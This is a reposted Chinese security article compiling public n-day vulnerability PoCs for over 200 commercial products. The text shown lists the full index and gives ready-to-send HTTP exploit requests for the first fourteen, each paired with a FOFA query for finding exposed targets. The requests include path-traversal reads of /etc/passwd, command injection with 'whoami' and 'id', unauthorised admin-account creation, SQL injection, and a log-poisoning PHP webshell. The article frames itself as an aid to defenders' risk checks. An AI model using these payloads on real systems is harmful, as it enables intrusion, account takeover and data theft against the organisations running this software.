互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
0 S; R4 w6 z- R, d道一安全 2024-06-05 07:41 北京
: C) m) ^; i4 L% m6 R4 t以下文章来源于网络安全新视界 ，作者网络安全新视界
7 z7 o- Q! `4 w! \1 U! [/ C
# d) i$ W4 W/ S1 ]8 l& \7 [8 ^4 p/ R发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
% a* I) d' n- p8 c& |" s
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
3 o+ I4 m# F1 b9 z" g) P
- j( j- E) z4 Q' P  }" L安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

9 v) A) i4 L2 i$ i8 _
声明

7 Q9 n" G2 U! D- V' z' y9 h0 C' S为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
3 W" z- H+ h/ p2 H( T
% j+ p& j* y8 T% H- z+ b, X- |
* i6 d! _' I" U
目录
$ \8 m/ d1 H6 T" a
& O( E% f/ U7 l& S01
8 b9 E7 K  t4 J0 w& E8 m" i
$ m1 L# F  E0 t+ W3 o2 b# @1. StarRocks MPP数据库未授权访问
) p' j* @) Z/ R7 x2. Casdoor系统static任意文件读取
3 M. _9 F! u" t0 k4 L8 }3. EasyCVR智能边缘网关 userlist 信息泄漏
" I0 ]6 H  \# e  x4. EasyCVR视频管理平台存在任意用户添加
! T9 s9 Y+ V, c4 ~$ ?5. NUUO NVR 视频存储管理设备远程命令执行
( h/ B% {# O' Z+ Z  p3 ^9 g8 N' y6. 深信服 NGAF 任意文件读取
% y3 i6 P& T" Q8 t( ]  H9 _7. 鸿运主动安全监控云平台任意文件下载
# j$ S7 _1 q0 N* ~8. 斐讯 Phicomm 路由器RCE
  q$ S3 C# x9 Y" Q: q9. 稻壳CMS keyword 未授权SQL注入
$ L& ?9 k7 ?2 _) ?4 u10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
+ J' l; k. m1 s0 @/ `13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
3 d8 y, Z& B  O8 q7 ~9 z' a  [16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
- b$ r- @' z- @, A0 G& l( f8 @19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
3 S* G7 T4 S1 W+ U* S* }# N21. 大华ICC智能物联综合管理平台random远程代码执行
5 U. e' Z) N" K$ ~7 d) y* \0 P6 V22. 大华ICC智能物联综合管理平台 log4j远程代码执行
; Z4 q3 y: e7 j" a23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
$ k3 W) P" S6 z0 i25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
: I3 |7 a9 m1 y8 l2 b4 R29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
' s% s) M$ @3 c' g31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
$ {/ l" k  b" [5 [7 s7 u4 c6 P$ z& ?33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
$ W8 D1 ~/ J( |- |35. 用友NC-Cloud importhttpscer任意文件上传
! h' A2 F! ^3 ~36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
' B- ^/ |3 q8 Y* R38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
% u$ x( P, E* G45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
$ k- G2 _9 C5 V3 _: j, p! W- o47. 用友GRP A++Cloud 政府财务云 任意文件读取
$ [* A  v# @6 g/ A" a48. 用友U8 CRM swfupload 任意文件上传
* ?# l- ~' I* x49. 用友U8 CRM系统uploadfile.php接口任意文件上传
. A( m# s$ }( M9 `" b1 @; v% ~50. QDocs Smart School 6.4.1 filterRecords SQL注入
: q. s4 ?4 O2 l% ]+ @51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
0 E- I# b% f9 U! r4 }52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
0 f( U9 K2 v% d# s! N55. 畅捷通T+ getdecallusers信息泄露
5 v/ M, p8 H( b" n& v6 m) v56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
- N, q# i* ~& I& @& _. _57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
6 k( k3 z8 |% z& I, S60. 百卓Smart管理平台 importexport.php SQL注入
! a* @( I# C+ c61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
7 f3 _' |3 N6 b: v5 W$ a& q9 V63. IP-guard WebServer任意文件读取
/ Q1 Y6 M! O6 i% K6 v' m1 G64. 捷诚管理信息系统CWSFinanceCommon SQL注入
+ V3 [# }* r1 E# R% w1 y7 m( X65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
1 ~7 R  ?( b5 F  J' _66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
6 X6 I0 C4 m! ]: V68. 万户ezOFFICE wf_printnum.jsp SQL注入
* |! J& C5 X8 X2 {& h69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
+ u) S3 _8 K! k% @& m2 ~$ {71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
4 b# F# I+ C" Z$ b73. GeoServer wms远程代码执行
; \) @& @# @- s  B% g74. 致远M3-server 6_1sp1 反序列化RCE
+ r$ Z9 A8 e1 R$ R  A$ b) C75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
& I7 X" {" V, ^  t+ l+ `77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
0 B. G& S6 Y& ]1 ^8 w79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
# ?: ]$ o( T, ~) R2 a! e' A0 H81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
2 f2 P5 [1 {7 e8 W/ N84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
0 ?& X* G( i0 x( [8 O" r3 o+ A85. SysAid On-premise< 23.3.36远程代码执行
6 m- j7 Q/ m3 D9 v: V  Y% J86. 日本tosei自助洗衣机RCE
$ X$ X4 Y* q, t0 ~% B3 g% d87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
7 p- m9 N! s7 \' H; i7 O- }( d( m90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
! S7 r8 ?* }# S( q" z( h91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
: h& D2 Q# B% \. n$ t) T, K92. 海康威视运行管理中心session命令执行
/ o0 D$ I. z$ \+ {. K8 g93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
; U9 W% W( Q+ f2 ?: J$ o96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
3 V1 Z- q& Q1 _9 i, T98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
  t. s9 [% ?: P  p, m1 \/ q- T" |* k100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
7 w- V" a; e) n  V, w8 Y5 J101. ivanti policy secure-22.6命令注入
( n$ [4 v8 [/ ]" `0 n102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
0 A8 J# W# j; d; X7 e7 n! _+ E# Y104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
+ c8 Y' V, _& o; h$ q7 u4 L105. SpringBlade v3.2.0 export-user SQL 注入
, F& S* b. x+ T0 [2 b" S106. SpringBlade dict-biz/list SQL 注入
# E* ^% ^% o9 Q, O* K, x  V107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
3 U; E. r: s& E, x" ?109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
* B, X  W# V% N" V2 [3 g0 L111. WordPress Plugin HTML5 Video Player SQL注入
$ |8 W6 _$ e- f4 r0 x) s112. WordPress Plugin NotificationX SQL 注入
+ Z' H3 ^: Y+ v9 D" B8 ^' `- `113. WordPress Automatic 插件任意文件下载和SSRF
" X1 R; B9 R, Y$ p* R114. WordPress MasterStudy LMS插件 SQL注入
: f+ x! F3 u1 B2 A* ]115. WordPress Bricks Builder <= 1.9.6 RCE
/ x8 E- e) H' w$ Y2 ?& @116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
7 s. V0 B2 ^/ l: n" y119. 北京百绰智能S20后台sysmanageajax.php sql注入
- z" @9 H6 v7 _* s* L6 B120. 北京百绰智能S40管理平台导入web.php任意文件上传
& }/ W; H: i; X8 |- v121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
, D& y/ z; t0 z8 X! G% x  c, g127. 广联达Linkworks DataExchange.ashx XXE
% a# y  I! n$ d4 |, b( s; U, Q128. Adobe ColdFusion 反序列化
( k$ l. e4 Z! }8 S! \129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
/ ^3 N- `' j8 d# H* f# ?  q132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
- `! S) w: l" F) n135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
3 L0 [$ T$ T1 f: c# q137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
2 r7 d7 g! p7 f) f140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
, v0 S) B/ |  |; e% i7 R3 \$ I- V142. CMSV6车辆监控平台系统中存在弱密码
- }7 G7 e: p7 b$ T( s143. Netis WF2780 v2.1.40144 远程命令执行
1 T- n0 R% {8 D/ u3 R! R144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
+ G' K2 n' X1 a. {3 @* v147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
7 H# ~5 @, _9 K' u0 J148. CrushFTP 认证绕过模板注入
* U; `' I, Q0 j( Q+ R& p149. AJ-Report开源数据大屏存在远程命令执行
* v6 [3 \# Y4 [' h4 V150. AJ-Report 1.4.0 认证绕过与远程代码执行
- _5 G/ s- ^7 A! T& D/ f151. AJ-Report 1.4.1 pageList sql注入
4 V7 h; k2 \3 Z# c6 _* C) L4 h152. Progress Kemp LoadMaster 远程命令执行
! B' }# _+ B5 Z. u; N- v% |7 P153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
: C+ {! R7 r, p( V8 P4 ^156. TBK DVR-4104/DVR-4216 操作系统命令注入
) z. P7 H* u! L. Z157. 美特CRM upload.jsp 任意文件上传
: A& Q/ Y7 M* C158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
; E: P/ P4 ?( k160. Sonatype Nexus Repository 3目录遍历与文件读取
, W. t4 L  l: j) m  {7 P2 h+ q0 c# r) y1 H161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
# z7 e9 o  ]( m) U2 K162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
1 Q0 I) E! c* t" Y( h; Z168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
$ D. u4 x3 s$ b0 T6 N170. 宏景EHR DisplayExcelCustomReport 任意文件读取
7 B& |" F+ K" C0 T8 G4 O171. 通天星CMSV6车载定位监控平台 SQL注入
$ A# Q) |4 ~# i; Y: k% G8 o9 k172. DT-高清车牌识别摄像机任意文件读取
' m5 G' n2 q& T' B" _173. Check Point 安全网关任意文件读取
9 L; b; `8 j4 l0 ]; D" r174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
+ ~9 E* N2 a6 F/ E+ x* D178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
- g9 s& h, F5 Q! |/ ^- E180. 帮管客 CRM jiliyu SQL注入
+ S2 `' y7 B, _, {* b: P181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
1 Y' c7 p) R+ K183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
3 q, e6 ?; u; d/ p. w184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
8 \8 p2 j3 |& A7 E8 {* W& ?& \% y185. 瑞友天翼应用虚拟化系统SQL注入
/ E  x0 X. {+ d186. F-logic DataCube3 SQL注入
' c: o5 k0 Y: M7 a, K& d. M: ^! }187. Mura CMS processAsyncObject SQL注入
* j4 R3 x) O) b% W) z; P188. 叁体-佳会视频会议 attachment 任意文件读取
( ?1 x% h3 v% W) E; R3 p: K/ K, ]189. 蓝网科技临床浏览系统 deleteStudy SQL注入
% x* N1 f* N/ K190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
. O2 F9 ?* d3 _/ \4 p; c& m6 |  p193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
2 y+ O5 V/ A6 n5 G* {, L5 M# Y- Q195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
' m/ H4 }& W8 O2 g198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
) x2 e. u2 t" u! v( ?2 {) h& A- V203. 红海云EHR PtFjk 文件上传

POC列表

02

6 w' @2 R. n. W1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
1 [% ^+ v9 J* g, o( y0 y: k2 {GET /mem_tracker HTTP/1.1
3 M, c5 Y) i4 ]( KHost: URL
! P% @' K2 k$ o: e: }3 W
& Z4 U7 \4 b0 H. \6 H) |
) I& h! G7 m9 h" x6 X( a2. Casdoor系统static任意文件读取
$ Z. l/ p, n! Y. e+ t( g0 tFOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
9 n$ m& ?: x7 Z$ r7 L0 L4 |' jConnection: close
Accept: */*
Accept-Language: en
0 q" f8 Y* V( x( DAccept-Encoding: gzip


( @! T7 F5 w2 F+ F8 C! w; T% S3. EasyCVR智能边缘网关 userlist 信息泄漏
7 w: E6 n, J: Z  kFOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx
/ ?5 [1 D$ R/ C/ A: N9 f1 d
2 y6 Z9 U) z8 j- Y2 P1 y
# j1 S" v  O+ }% I6 _4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

" q9 q) }9 w5 X' J, c. m& M! Dpassword更改为自己的密码md5
# d( i2 {2 T7 H8 x* O9 _POST /api/v1/adduser HTTP/1.1
Host: your-ip
4 H: e+ O6 X2 `# PContent-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1


5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx
: b  b. ?+ n+ K' T5 {
0 R7 |$ a: r; T5 [- ~$ p( ~
6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
8 v# [5 \' Q0 i. W- T, l3 PGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
$ k5 k0 y' v8 u0 I* O* cHost:
9 f2 r6 e/ B4 s/ i% E4 G

. B+ b! S; d6 _% F$ [( c1 A7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
; ]' X3 f, ^! K. y  p3 k! rGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
% g3 q/ s4 r/ R* fHost:


" ?" K( r1 I6 D0 d! N; e; V8. 斐讯 Phicomm 路由器RCE
2 e# n! D+ E$ ~5 Z1 Q$ Y4 ^FOFA：icon_hash="-1344736688"
4 d$ Z2 o$ v; M默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
' G0 H3 v( Z: \7 L1 s5 F+ dCookie: sysauth=第一步登录获取的cookie
. W2 j7 Z2 P0 C- R, I+ LContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
( o4 O9 @, [: H$ g; x7 y' G  lUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
0 O8 U$ A4 L: z- ]4 [
------WebKitFormBoundaryxbgjoytz
0 V. E( D; l0 n- F7 p' oContent-Disposition: form-data; name="wifiRebootEnablestatus"
" x# R9 r% S( I
%s
------WebKitFormBoundaryxbgjoytz
9 k& o9 l. j- q: n5 ?" rContent-Disposition: form-data; name="wifiRebootrange"
5 F9 |5 n1 W5 Z6 r( k
% }9 }6 x3 e1 I$ b0 j- _* Z12:00; id;
------WebKitFormBoundaryxbgjoytz
' z- i1 H7 z9 ^  j; Y7 i. d( zContent-Disposition: form-data; name="wifiRebootendrange"
7 |) S3 r: O/ [7 Q" H
%s:
------WebKitFormBoundaryxbgjoytz
1 G) i& Y* ^# W  A" A2 R. L$ hContent-Disposition: form-data; name="cururl2"

0 K2 }: p. Z# G  L! ?& p" \7 W
------WebKitFormBoundaryxbgjoytz--
- Y4 k0 l- \+ `5 @
/ ?& d. Y5 X- w& {
5 e  k; u1 }" x; i; O8 G9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
% Z0 k' A, r2 S" t; nGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
3 D& T. P, x# q/ ~8 THost: x.x.x.x

3 F$ ]* S2 H( [0 N
4 R2 x& N. C, Y* e& q- g% |payload为下列语句的二次Url编码

# F/ ?' o  M# ?6 j$ P5 y+ b' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"
1 [- e% B4 ]- ^$ h2 B
) P2 v4 Q" X. d4 ~文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
  S7 `" K0 W7 |3 k7 ~, {2 d2 MHost: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
" Y6 |8 n/ W: MContent-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
+ h, f1 o# n7 v% _
------WebKitFormBoundaryxdgaqmqu
& R0 p" \0 ]* y/ rContent-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

jmnqjfdsupxgfidopeixbgsxbf
& m! n8 c% Y1 |& ~6 _! p------WebKitFormBoundaryxdgaqmqu--
" s+ Y9 j4 |' ]8 _! K& h+ @
' X6 E- \& g( m* E7 f; g5 V
8 e7 X: a: X0 o9 V" e# c& r11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
" X7 c' }! g6 S8 e+ r# \GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
/ S+ |2 j9 {3 ]$ R- sHost: 127.0.0.1
! J" X( `8 h( ?6 H, dPragma: no-cache
Cache-Control: no-cache
: f8 D5 z& r  i& x* \Upgrade-Insecure-Requests: 1
0 N# r4 f. g0 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
) I, o+ T. K4 e5 n8 n  a+ ?9 K

9 P/ m9 G6 A' d: V. y12. Jorani < 1.0.2 远程命令执行
; I6 u! `8 n0 j4 Z0 }FOFA：title="Jorani"
7 ?* H1 p: N" m! J/ k第一步先拿到cookie
GET /session/login HTTP/1.1
! Y* u( B# [( v1 U/ n) s( x/ fHost: 192.168.190.30
" i, _! ~  }" J; f) M3 WUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
% v- w. i6 s# r1 @3 l% WConnection: close
3 t/ O) y4 d7 SAccept-Encoding: gzip
7 A' e( u# m* }9 `# U  b# N
; |/ d  s0 L8 g, J/ y
) B$ B" N: H% z4 k$ _5 e响应中csrf_cookie_jorani用于后续请求
1 c5 f9 I! ?- I! aHTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
' ]/ [  a/ u3 r, jLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
5 A3 D. e9 x6 u( ^Pragma: no-cache
7 a$ G. B% V3 f+ [$ a& p- gServer: Apache/2.4.54 (Debian)
+ B7 L% ]' R1 s% y8 f, _: A, tSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
1 R; e4 R8 b' R  N% y- x( hSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding


' X+ o! W1 i2 ]/ y) qPOST请求，执行函数并进行base64编码
- ~* S% j8 N) v9 q% H4 x) r% PPOST /session/login HTTP/1.1
Host: 192.168.190.30
. O6 I7 j" X5 L1 LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
! |0 q9 I( [9 w7 iConnection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
( s. e' U2 g& M6 dCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
* g. t+ l6 U" H; wAccept-Encoding: gzip
4 ?: ~8 B  P% z
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
0 t" _) Z& d3 t/ A
  R* r: L! ~& L5 T" ?3 a; j& d9 U
. E' M$ e7 p# D2 i
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
" T, x, `# ^0 \GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
) I3 `6 g1 H0 _& g; pK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
$ K. g! h% I5 s' Q) c9 l' z. w7 }Accept-Encoding: gzip
+ m1 @# B8 u8 @$ D

13. 红帆iOffice ioFileDown任意文件读取
' a" H* d* {7 y  [4 k0 s9 SFOFA：app="红帆-ioffice"
" Y' R3 Z% f; G& P* {" \/ nGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
3 S) b) w4 Y" Q* o/ YHost: x.x.x.x
; w0 d% w4 ^( d. kUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
( v  y* M" Q8 I- oConnection: close
: Y2 ]3 r2 m5 |, UAccept: */*
Accept-Encoding: gzip


) q4 J, ~; ^( Q' k, t14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
9 K9 P( X9 I6 t* J4 M" HHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
2 ]- C( ?" x' }. f! t" }3 r% f% HConnection: close
! T$ V6 T/ s" m1 H; ]) FAccept: */*
) y- y8 g, k: q0 b5 _Accept-Language: en
% q& c: K% T' c+ k; W3 WAccept-Encoding: gzip
